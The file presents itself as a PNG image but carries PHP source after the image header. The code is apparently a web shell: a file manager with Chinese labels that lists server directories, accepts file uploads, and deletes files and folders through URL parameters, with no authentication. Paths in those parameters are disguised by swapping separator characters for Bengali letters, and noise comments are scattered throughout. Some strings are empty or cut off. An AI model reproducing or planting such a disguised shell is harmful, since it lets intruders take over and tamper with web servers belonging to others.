‰PNG IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT "); } // ---- // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 echo '
';// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 function fileExtension($file) { return substr(strrchr($file, '.'), 1); } // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); }// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); }// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); // 1735294960202265 1735294960660026 1735294960186638 1735294960781660 echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } }// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 echo '| 名称 | 大小 | 时间 | 权限 | 操作 | |
|---|---|---|---|---|---|
| " . $folder . " | --- | ". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . " | 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " | ||
| " . fileIcon($file) . $file . " | " . formatSizeUnits(filesize(PATH . "/" . $file)) . " | " . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . " | 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
"; } else { echo "Sorry, there was an error uploading your file.
"; } }// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } }// 1735294960202265 1735294960660026 1735294960186638 1735294960781660 echo ' ';